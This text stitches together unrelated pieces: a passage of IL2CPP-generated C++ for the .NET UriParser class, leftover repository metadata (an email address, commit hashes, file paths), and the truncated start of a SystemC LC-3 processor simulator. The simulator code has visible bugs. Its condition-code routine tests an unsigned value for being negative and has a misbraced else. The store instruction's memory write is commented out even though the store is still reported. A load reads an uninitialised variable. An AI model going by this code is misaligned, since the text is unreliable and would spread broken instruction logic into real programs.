((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_VsMacrosUri_22(L_88); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_89 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_90 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_VsMacrosUri_22(); NullCheck(L_90); String_t* L_91 = UriParser_get_SchemeName_mFC9EFD71512A64E640866792CCB7DAC5187DE9F1(L_90, /*hidden argument*/NULL); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_92 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_VsMacrosUri_22(); NullCheck(L_89); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_89, L_91, L_92, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); return; } } // System.UriSyntaxFlags System.UriParser::get_Flags() extern "C" IL2CPP_METHOD_ATTR int32_t UriParser_get_Flags_mBCF4C3E94892F00B6E8856BFED1B650FB6A0C039 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { { int32_t L_0 = __this->get_m_Flags_2(); return L_0; } } // System.Boolean System.UriParser::NotAny(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_NotAny_mC998A35DC290F35FFAFFB6A8B66C7B881F2559D3 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method) { { int32_t L_0 = ___flags0; bool L_1 = UriParser_IsFullMatch_m7B5F47A62FA721E550C5439FAA4C6AFAC34EB23E(__this, L_0, 0, /*hidden argument*/NULL); return L_1; } } // System.Boolean System.UriParser::InFact(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_InFact_mDD42FA932B6830D99AA04C2AE7875BA5067C86F3 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method) { { int32_t L_0 = ___flags0; bool L_1 = UriParser_IsFullMatch_m7B5F47A62FA721E550C5439FAA4C6AFAC34EB23E(__this, L_0, 0, /*hidden argument*/NULL); return (bool)((((int32_t)L_1) == ((int32_t)0))? 1 : 0); } } // System.Boolean System.UriParser::IsAllSet(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_IsAllSet_m74BEC412DC8AF3B1A33E11964EBB3164D9D8C77E (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method) { { int32_t L_0 = ___flags0; int32_t L_1 = ___flags0; bool L_2 = UriParser_IsFullMatch_m7B5F47A62FA721E550C5439FAA4C6AFAC34EB23E(__this, L_0, L_1, /*hidden argument*/NULL); return L_2; } } // System.Boolean System.UriParser::IsFullMatch(System.UriSyntaxFlags,System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR bool UriParser_IsFullMatch_m7B5F47A62FA721E550C5439FAA4C6AFAC34EB23E (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, int32_t ___expected1, const RuntimeMethod* method) { int32_t V_0 = 0; { int32_t L_0 = ___flags0; if (!((int32_t)((int32_t)L_0&(int32_t)((int32_t)33554432)))) { goto IL_0013; } } { bool L_1 = __this->get_m_UpdatableFlagsUsed_4(); il2cpp_codegen_memory_barrier(); if (L_1) { goto IL_001c; } } IL_0013: { int32_t L_2 = __this->get_m_Flags_2(); V_0 = L_2; goto IL_0032; } IL_001c: { int32_t L_3 = __this->get_m_Flags_2(); int32_t L_4 = __this->get_m_UpdatableFlags_3(); il2cpp_codegen_memory_barrier(); V_0 = ((int32_t)((int32_t)((int32_t)((int32_t)L_3&(int32_t)((int32_t)-33554433)))|(int32_t)L_4)); } IL_0032: { int32_t L_5 = V_0; int32_t L_6 = ___flags0; int32_t L_7 = ___expected1; return (bool)((((int32_t)((int32_t)((int32_t)L_5&(int32_t)L_6))) == ((int32_t)L_7))? 1 : 0); } } // System.Void System.UriParser::.ctor(System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR void UriParser__ctor_mAF168F2B88BC5301B722C1BAAD45E381FBA22E3D (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, int32_t ___flags0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser__ctor_mAF168F2B88BC5301B722C1BAAD45E381FBA22E3D_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Object__ctor_m925ECA5E85CA100E3FB86A4F9E15C120E9A184C0(__this, /*hidden argument*/NULL); int32_t L_0 = ___flags0; __this->set_m_Flags_2(L_0); String_t* L_1 = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); __this->set_m_Scheme_6(L_1); return; } } // System.UriParser System.UriParser::FindOrFetchAsUnknownV1Syntax(System.String) extern "C" IL2CPP_METHOD_ATTR UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * UriParser_FindOrFetchAsUnknownV1Syntax_m3A57CA15FE27DC7982F186E8321B810B56EBD9AD (String_t* ___lwrCaseScheme0, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriParser_FindOrFetchAsUnknownV1Syntax_m3A57CA15FE27DC7982F186E8321B810B56EBD9AD_MetadataUsageId); s_Il2CppMethodInitialized = true; } UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * V_0 = NULL; Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * V_1 = NULL; bool V_2 = false; UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * V_3 = NULL; Exception_t * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); void* __leave_targets_storage = alloca(sizeof(int32_t) * 1); il2cpp::utils::LeaveTargetStack __leave_targets(__leave_targets_storage); NO_UNUSED_WARNING (__leave_targets); { V_0 = (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *)NULL; IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_0 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); String_t* L_1 = ___lwrCaseScheme0; NullCheck(L_0); Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4(L_0, L_1, (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC **)(&V_0), /*hidden argument*/Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4_RuntimeMethod_var); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_2 = V_0; if (!L_2) { goto IL_0015; } } { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_3 = V_0; return L_3; } IL_0015: { IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_4 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_TempTable_1(); String_t* L_5 = ___lwrCaseScheme0; NullCheck(L_4); Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4(L_4, L_5, (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC **)(&V_0), /*hidden argument*/Dictionary_2_TryGetValue_mB7FEE5E187FD932CA98FA958AFCC096E123BCDC4_RuntimeMethod_var); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_6 = V_0; if (!L_6) { goto IL_0028; } } { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_7 = V_0; return L_7; } IL_0028: { IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_8 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_Table_0(); V_1 = L_8; V_2 = (bool)0; } IL_0030: try { // begin try (depth: 1) { Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_9 = V_1; Monitor_Enter_mC5B353DD83A0B0155DF6FBCC4DF5A580C25534C5(L_9, (bool*)(&V_2), /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_10 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_TempTable_1(); NullCheck(L_10); int32_t L_11 = Dictionary_2_get_Count_mEC5A51E9EC624CA697AFE307D4CD767026962AE3(L_10, /*hidden argument*/Dictionary_2_get_Count_mEC5A51E9EC624CA697AFE307D4CD767026962AE3_RuntimeMethod_var); if ((((int32_t)L_11) < ((int32_t)((int32_t)512)))) { goto IL_0055; } } IL_0049: { Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_12 = (Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE *)il2cpp_codegen_object_new(Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE_il2cpp_TypeInfo_var); Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445(L_12, ((int32_t)25), /*hidden argument*/Dictionary_2__ctor_m9AA6FFC23A9032DF2BF483986951F06E722B3445_RuntimeMethod_var); IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->set_m_TempTable_1(L_12); } IL_0055: { String_t* L_13 = ___lwrCaseScheme0; BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * L_14 = (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B *)il2cpp_codegen_object_new(BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B_il2cpp_TypeInfo_var); BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C(L_14, L_13, (-1), ((int32_t)351342590), /*hidden argument*/NULL); V_0 = L_14; IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_15 = ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_StaticFields*)il2cpp_codegen_static_fields_for(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var))->get_m_TempTable_1(); String_t* L_16 = ___lwrCaseScheme0; UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_17 = V_0; NullCheck(L_15); Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB(L_15, L_16, L_17, /*hidden argument*/Dictionary_2_set_Item_mB84FA35EFF6271F4923FCAF307D576087CD554AB_RuntimeMethod_var); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_18 = V_0; V_3 = L_18; IL2CPP_LEAVE(0x7C, FINALLY_0072); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t *)e.ex; goto FINALLY_0072; } FINALLY_0072: { // begin finally (depth: 1) { bool L_19 = V_2; if (!L_19) { goto IL_007b; } } IL_0075: { Dictionary_2_tB0B3F0D7A7E98EDBC0C35218EEA8560D1F0CCFCE * L_20 = V_1; Monitor_Exit_m49A1E5356D984D0B934BB97A305E2E5E207225C2(L_20, /*hidden argument*/NULL); } IL_007b: { IL2CPP_END_FINALLY(114) } } // end finally (depth: 1) IL2CPP_CLEANUP(114) { IL2CPP_JUMP_TBL(0x7C, IL_007c) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t *) } IL_007c: { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_21 = V_3; return L_21; } } // System.Boolean System.UriParser::get_IsSimple() extern "C" IL2CPP_METHOD_ATTR bool UriParser_get_IsSimple_mDDB03A5F6EEE6E92926A386655E5BBD553719B9C (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { { bool L_0 = UriParser_InFact_mDD42FA932B6830D99AA04C2AE7875BA5067C86F3(__this, ((int32_t)131072), /*hidden argument*/NULL); return L_0; } } // System.UriParser System.UriParser::InternalOnNewUri() extern "C" IL2CPP_METHOD_ATTR UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * UriParser_InternalOnNewUri_m7D55F5CD59A3B9BF57BC68F715A27CC1A44566CA (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, const RuntimeMethod* method) { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * V_0 = NULL; { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_0 = VirtFuncInvoker0< UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * >::Invoke(4 /* System.UriParser System.UriParser::OnNewUri() */, __this); V_0 = L_0; UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_1 = V_0; if ((((RuntimeObject*)(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *)__this) == ((RuntimeObject*)(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *)L_1))) { goto IL_002f; } } { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_2 = V_0; String_t* L_3 = __this->get_m_Scheme_6(); NullCheck(L_2); L_2->set_m_Scheme_6(L_3); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_4 = V_0; int32_t L_5 = __this->get_m_Port_5(); NullCheck(L_4); L_4->set_m_Port_5(L_5); UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_6 = V_0; int32_t L_7 = __this->get_m_Flags_2(); NullCheck(L_6); L_6->set_m_Flags_2(L_7); } IL_002f: { UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * L_8 = V_0; return L_8; } } // System.Void System.UriParser::InternalValidate(System.Uri,System.UriFormatExceptionU26) extern "C" IL2CPP_METHOD_ATTR void UriParser_InternalValidate_mF2FEB0E76E48B621EB2058FBE7DCC6A42A1681E2 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___thisUri0, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** ___parsingError1, const RuntimeMethod* method) { { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_0 = ___thisUri0; UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** L_1 = ___parsingError1; VirtActionInvoker2< Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E *, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** >::Invoke(5 /* System.Void System.UriParser::InitializeAndValidate(System.Uri,System.UriFormatException&) */, __this, L_0, (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A **)L_1); return; } } // System.String System.UriParser::InternalResolve(System.Uri,System.Uri,System.UriFormatExceptionU26) extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_InternalResolve_m2A027789CB5105E32B09810E81810E8E35DD1F26 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___thisBaseUri0, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___uriLink1, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** ___parsingError2, const RuntimeMethod* method) { { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_0 = ___thisBaseUri0; Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_1 = ___uriLink1; UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** L_2 = ___parsingError2; String_t* L_3 = VirtFuncInvoker3< String_t*, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E *, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E *, UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A ** >::Invoke(6 /* System.String System.UriParser::Resolve(System.Uri,System.Uri,System.UriFormatException&) */, __this, L_0, L_1, (UriFormatException_t86B375C9E56DBEE5BD4CC9D71C4C40AE5141808A **)L_2); return L_3; } } // System.String System.UriParser::InternalGetComponents(System.Uri,System.UriComponents,System.UriFormat) extern "C" IL2CPP_METHOD_ATTR String_t* UriParser_InternalGetComponents_mFD4B211C71E0506AE4E4E99D92ECAF1780CE4674 (UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC * __this, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * ___thisUri0, int32_t ___uriComponents1, int32_t ___uriFormat2, const RuntimeMethod* method) { { Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E * L_0 = ___thisUri0; int32_t L_1 = ___uriComponents1; int32_t L_2 = ___uriFormat2; String_t* L_3 = VirtFuncInvoker3< String_t*, Uri_t87E4A94B2901F5EEDD18AA72C3DB1B00E672D68E *, int32_t, int32_t >::Invoke(7 /* System.String System.UriParser::GetComponents(System.Uri,System.UriComponents,System.UriFormat) */, __this, L_0, L_1, L_2); return L_3; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void System.UriParser_BuiltInUriParser::.ctor(System.String,System.Int32,System.UriSyntaxFlags) extern "C" IL2CPP_METHOD_ATTR void BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C (BuiltInUriParser_t5C00B9ABDAFDD2FFEAAA5C4A6FF01FF0BE58E57B * __this, String_t* ___lwrCaseScheme0, int32_t ___defaultPort1, int32_t ___syntaxFlags2, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (BuiltInUriParser__ctor_m66250DC53CE01410149D46279D0B413FC1C5CA1C_MetadataUsageId); s_Il2CppMethodInitialized = true; } { int32_t L_0 = ___syntaxFlags2; IL2CPP_RUNTIME_CLASS_INIT(UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC_il2cpp_TypeInfo_var); UriParser__ctor_mAF168F2B88BC5301B722C1BAAD45E381FBA22E3D(__this, ((int32_t)((int32_t)((int32_t)((int32_t)L_0|(int32_t)((int32_t)131072)))|(int32_t)((int32_t)262144))), /*hidden argument*/NULL); String_t* L_1 = ___lwrCaseScheme0; ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *)__this)->set_m_Scheme_6(L_1); int32_t L_2 = ___defaultPort1; ((UriParser_t07C77D673CCE8D2DA253B8A7ACCB010147F1A4AC *)__this)->set_m_Port_5(L_2); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void System.UriTypeConverter::.ctor() extern "C" IL2CPP_METHOD_ATTR void UriTypeConverter__ctor_m1CAEEF1C615B28212B83C76D892938E0A77D3A64 (UriTypeConverter_t96793526764A246FBAEE2F4F639AFAF270EE81D1 * __this, const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (UriTypeConverter__ctor_m1CAEEF1C615B28212B83C76D892938E0A77D3A64_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(TypeConverter_t8306AE03734853B551DDF089C1F17836A7764DBB_il2cpp_TypeInfo_var); TypeConverter__ctor_m7F8A006E775CCB83A8ACB042B296E48B0AE501CD(__this, /*hidden argument*/NULL); return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Void Unity.ThrowStub::ThrowNotSupportedException() extern "C" IL2CPP_METHOD_ATTR void ThrowStub_ThrowNotSupportedException_mF1DE187697F740D8C18B8966BBEB276878CD86FD (const RuntimeMethod* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ThrowStub_ThrowNotSupportedException_mF1DE187697F740D8C18B8966BBEB276878CD86FD_MetadataUsageId); s_Il2CppMethodInitialized = true; } { PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5 * L_0 = (PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5 *)il2cpp_codegen_object_new(PlatformNotSupportedException_t14FE109377F8FA8B3B2F9A0C4FE3BF10662C73B5_il2cpp_TypeInfo_var); PlatformNotSupportedException__ctor_m651139B17C9EE918551490BC675754EA8EA3E7C7(L_0, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_0, NULL, ThrowStub_ThrowNotSupportedException_mF1DE187697F740D8C18B8966BBEB276878CD86FD_RuntimeMethod_var); } } #ifdef __clang__ #pragma clang diagnostic pop #endif
[ "56455003+aminalimody@users.noreply.github.com" ]
56455003+aminalimody@users.noreply.github.com
8c58b58d5d8251f59f20c5a1a42775aa5bc8abee
500c5172e0b8b2c0f618fb2b655d6a0c056715ea
/LC3-sysc/LC3.cpp
029aa5a93059f3265b2c3087fc34aa5c8ee0b3c6
[]
no_license
snehith-shenoy/learning-experiments
652f1fe20c7740b785d4e9303c8504beb0be688f
7585e15872be145674256f4dc6a50642c755a6f4
refs/heads/master
2023-03-31T16:43:41.978135
2020-12-28T17:52:02
2020-12-28T17:52:02
325,077,350
0
0
null
null
null
null
UTF-8
C++
false
false
6,912
cpp
#include "LC3.h" #define DR_MASK 0xE00 #define SR1_MASK 0x1C0 #define SR2_MASK 0x7 #define IMM5_MASK 0x1F #define IMM6_MASK 0x3F #define IMM9_MASK 0x1FF #define IMM11_MASK 0xFFF #define n_MASK 0x800 #define z_MASK 0x400 #define p_MASK 0x200 #define RET_MASK 0x1C0 #define JSR_MASK 0x800 #define BREG_MASK 0x1C0 LC3::LC3(sc_module_name nm):sc_module(nm),m_N(0),m_Z(0),m_P(0),m_PC(0x3000),m_R(LC3_NUM_REGS) { std::fill(m_R.begin(), m_R.end(), 0); //Reset R0-R7 SC_THREAD(step); } void LC3::setcc(uint16 result) { if (result==0) { m_Z=1; m_N=0; m_P=0; } else if (result<0) { m_Z=0; m_N=1; m_P=0; } else m_Z=0; m_N=0; m_P=1; } opcode_t LC3::get_opcode(uint16 inst) { switch(inst & 0xF000) { case 0x0000: return OP_BR; case 0x1000: return OP_ADD; case 0x2000: return OP_LD; case 0x3000: return OP_ST; case 0x4000: return OP_JSR_JSRR; case 0x5000: return OP_AND; case 0x6000: return OP_LDR; case 0x7000: return OP_STR; case 0x8000: return OP_RTI; case 0x9000: return OP_NOT; case 0xA000: return OP_LDI; case 0xB000: return OP_STI; case 0xC000: return OP_JMP_RET; case 0xD000: return OP_RESERVED; case 0xE000: return OP_LEA; case 0xF000: return OP_TRAP; default: std::cout<<"Error in decoding opcode"; exit(0); } } void LC3::dec_and_exec(uint16 instruction) { switch(get_opcode(instruction)) { case OP_BR: // PC = PCi + PCoffset9 if condition is met { if ( (m_N&(instruction&n_MASK)) || (m_Z&(instruction&z_MASK)) || (m_P&(instruction&p_MASK))) m_PC+= SEXT(7,instruction&IMM9_MASK); break; } case OP_ADD: // DR = SR1 + SR2 or DR = SR1 + imm5 { if(instruction & 0x20){ m_R[(instruction&DR_MASK)>>9]= m_R[(instruction & SR1_MASK)>>6] + SEXT(11,instruction & IMM5_MASK); std::cout<<"Using IMM5 value because:"<<std::hex<<(instruction & 0x20)<<std::endl;} else { m_R[(instruction&DR_MASK)>>9]= m_R[(instruction & SR1_MASK)>>6] + m_R[instruction & SR2_MASK];} setcc(m_R[(instruction&DR_MASK)>>9]); std::cout<<"OP_ADD result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; break; } case OP_AND: // DR = SR1 & SR2 or DR = SR1 & imm5 { if(instruction & 0x20) m_R[(instruction&DR_MASK)>>9]= m_R[(instruction& SR1_MASK)>>6] & SEXT(11,instruction & IMM5_MASK); else m_R[(instruction&DR_MASK)>>9]= m_R[(instruction & SR1_MASK)>>6] & m_R[instruction & SR2_MASK]; std::cout<<"OP_AND result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; setcc(m_R[(instruction&DR_MASK)>>9]); break; } case OP_NOT: // DR = ~SR1 { m_R[(instruction&DR_MASK)>>9]= ~(m_R[(instruction & SR1_MASK)>>6]); std::cout<<"OP_NOT result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; setcc(m_R[(instruction&DR_MASK)>>9]); break; } case OP_LD: // DR = mem[PCi + PCoffset9] { uint16 data; dport->read(m_PC+SEXT(7,instruction & IMM9_MASK),data); std::cout<<"Loading data from M"<<std::hex<<m_PC+SEXT(7,instruction & IMM9_MASK)<<std::endl; m_R[(instruction&DR_MASK)>>9]=data; setcc(m_R[(instruction&DR_MASK)>>9]); std::cout<<"OP_LD result: "<<std::hex<<data<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; break; } case OP_ST: // mem[PCi + PCoffset9] = SR { //bus_if::status_t trans; //trans= dport->write(m_PC+SEXT(7,instruction & IMM9_MASK),m_R[(instruction&DR_MASK)>>9] ); std::cout<<"OP_ST result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at M"<<std::hex<<m_PC+SEXT(7,instruction & IMM9_MASK)<<std::endl; break; } case OP_JSR_JSRR: // R7 = PCi and (PC = SR or PC = PCi + PCoffest9) { uint16 TEMP = m_PC; if(instruction&JSR_MASK) m_PC=m_PC + SEXT(5,instruction&IMM11_MASK); else m_PC= m_R[(instruction&BREG_MASK)>>6]; m_R[7]= TEMP; break; } case OP_LDR: // DR = mem[BaseR + offset6] { uint16 data; //bus_if::status_t trans; //trans= dport->read(m_R[(instruction&BREG_MASK)>>6]+SEXT(10,instruction&IMM6_MASK), data); m_R[(instruction&DR_MASK)>>9]=data; setcc(data); 